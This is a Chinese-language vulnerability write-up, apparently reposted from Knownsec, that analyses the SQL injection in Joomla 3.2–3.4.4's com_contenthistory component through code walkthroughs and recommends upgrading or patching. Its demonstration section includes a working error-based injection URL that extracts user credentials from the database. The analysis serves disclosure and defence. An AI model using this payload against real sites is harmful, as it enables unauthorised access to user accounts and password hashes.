Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析
Joomla CMS發佈新版本3.4.5,該版本修復了一個高風險性的SQL注入漏洞,3.2至3.4.4版本都受到影響。攻擊者透過該漏洞可以直接獲取獲取資料庫中機密資訊,甚至可以獲取已登入的管理員權限直接進入網站後臺。
0x01 原理分析
在Joomla CMS中有一個查看歷史編輯版本的元件(com_contenthistory),該功能照理應該只有管理員才能使用,但是由於開發人員的疏忽,導致該功能不需要特別的權限就能夠使用。通過訪問/index.php?option=com_contenthistory可以使得服務端載入歷史版本處理元件。程式流程會轉到/components/com_contenthistory/contenthistory.php文件中:
<?php defined('_JEXEC') or die; $lang = JFactory::getLanguage(); $lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true) || $lang->load('com_contenthistory', JPATH_SITE, null, false, true); require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';
可以看到該元件載入時並沒有進行相關權限的監測,而Joomla中,一般的後台調用元件 (/administrator/components/下的元件) 都會進行元件對應的權限檢查,例如後台中的com_contact 元件
if (!JFactory::getUser()->authorise('core.manage', 'com_contact')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); }
但是,程式在處理contenthistory元件時,並沒有檢查權限,程式初始化並設置好元件相關配置後,包含檔案/administrator/components/com_contenthistory/contenthistory.php,其內容如下:
<?php defined('_JEXEC') or die; $controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR)); $controller->execute(JFactory::getApplication()->input->get('task')); $controller->redirect();
程式初始化基於 contenthistory 元件的控制類 JControllerLegacy,然後直接調用控制類的 execute() 方法,在 execute() 方法中,會調用其控制類中的 display(),代碼位於 /libraries/legacy/controller/legacy.php:
public function display($cachable = false, $urlparams = array()) { $document = JFactory::getDocument(); $viewType = $document->getType(); $viewName = $this->input->get('view', $this->default_view); $viewLayout = $this->input->get('layout', 'default', 'string'); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout)); // Get/Create the model if ($model = $this->getModel($viewName)) { // Push the model into the view (as default) $view->setModel($model, true); } (...省略...) if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1) { (...省略...) } else { $view->display(); } return $this; }
處理常式從傳遞的參數中獲取 view 和 layout 的參數值進行初始化視圖,並且調用 $model = $this->getModel($viewName) 載入對應資料模型,最終會調用 $view->display() 函數進行視圖處理。
Joomla 新版本 3.4.5 中修復的SQL注入漏洞涉及的是歷史查看操作,也就是 view=history 時的程式處理會導致注入。在程式進行資料提取時,會進入 /administrator/components/com_contenthistory/models/history.php 檔中的 getListQuery() 函數:
protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' . 'h.character_count, h.sha1_hash, h.version_data, h.keep_forever' ) ) ->from($db->quoteName('#__ucm_history') . ' AS h') ->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id')) ->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id')) // Join over the users for the editor ->select('uc.name AS editor') ->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id'); // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $query->order($db->quoteName($orderCol) . $orderDirn); return $query; }
注意下面這段SQL語句構造部分:
$query->select( $this->getState( 'list.select', 'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' . 'h.character_count, h.sha1_hash, h.version_data, h.keep_forever' ) ) ->from($db->quoteName('#__ucm_history') . ' AS h') ->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id')) ->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))
其中 getState() 函數用於獲取模型的屬性和其對應的值,其函式定義位於 /ibraries/legacy/model/legacy.php:
public function getState($property = null, $default = null) { if (!$this->__state_set) { // Protected method to auto-populate the model state. $this->populateState(); // Set the model state set flag to true. $this->__state_set = true; } return $property === null ? $this->state : $this->state->get($property, $default); }
然後會調用 populateState() 函數來初始化參數值和提取並過濾某些參數,在 contenthistory 組建中定義有自己的 populateState() 函數:
protected function populateState($ordering = null, $direction = null) { (...省略...) // List state information. parent::populateState('h.save_date', 'DESC'); }
函數最後,會調用父類的 populateState() 函數,因為該資料模型繼承於 JModelList,所以父類相關代碼位於 /libraries/legacy/model/list.php 中,而在父類該函數的處理中會解析請求中傳遞的 list[] 參數,解析並過濾預設鍵的值,但是卻忽略了 list[select]:
protected function populateState($ordering = null, $direction = null) { (...省略...) // Receive & set list options if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array')) { foreach ($list as $name => $value) { // Extra validations switch ($name) { case 'fullordering': (...省略...) case 'ordering': (...省略...) case 'direction': (...省略...) case 'limit': (...省略...) default: $value = $value; break; } $this->setState('list.' . $name, $value); } } (...省略...)
而傳遞 list[select] 參數值最終會被解析到上述元件視圖進行處理時 SQL 語句構建中的 list.select 裡,從而導致了注入。
0x02 漏洞演示
通過上面簡單的分析,已經知道了受影響的Joomla版本中,contenthistory元件訪問不受許可權的控制,並且當進行view=history請求時會解析請求參數中 list[select] 的值拼接到SQL語句中。下面是該漏洞的簡單驗證和利用方法。
1.漏洞驗證
http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&list[select]=1
因為在進行 SQL 語句拼接的時候,獲取了 list.ordering 進行資料查詢中的 order 操作,若不提供默認會將其設置為資料進行處理,相關處理位於 /libraries/joomla/database/driver.php 的 quoteName() 函數中。
因此,訪問上述構造的URL,伺服器會報錯:
2.漏洞利用
因為在 SQL 語句拼接時,程式框架針對每個 from 或者 where 操作進行了換行處理,所以這裡並不能使用 #、– 等符號來注釋掉後面的語句,只能通過報錯注入進行資料提取。但是語句的成功執行有一定的前提條件,也就是傳遞的 item_id 和 type_id 參數值必須於資料庫中有效,同時傳遞 list[ordering] 參數 (空值即可),這樣注入的語句才能夠得到執行,從而進行報錯注入。
這裡經過多個漏洞網站的測試可以簡單的使用 item_id=1&type_id=1,當然了為了準確性和有效性,可以通過爆破的方式來得到這兩個參數的有效值,然後再進行注入操作。
(Tips:Joomla 中構造的 SQL 語句中 #_ 最終會在執行前被替換為表首碼)
下面是獲取用戶名/密碼雜湊的漏洞演示過程:
http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select username from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)
0x03 修復方案
從 https://github.com/joomla/joomla-cms/releases 獲取最新版本進行重新安裝;
從 https://github.com/joomla/joomla-cms/releases 下載相應版本的補丁程式進行升級;
0x04 總結
就 Joomla CMS 的用戶量來看,目前還有大量的網站的資料正受到該漏洞的威脅。該漏洞的產生本質上是由於存取控制的缺失和過濾不嚴格造成。存取控制的缺失導致本應只有管理員才能進行訪問和載入的 contenthistory 元件能夠被任意使用者訪問和載入,而參數的過濾不嚴格,導致攻擊者能夠構造出惡意的參數到執行流中產生注入。
原文地址:http://blog.knownsec.com/2015/10/joomla-cms-3-2-3-4-4-sql-injection-vulnerability/
文章來源:http://drops.wooyun.org/papers/9979
圖片來源:https://pixabay.com/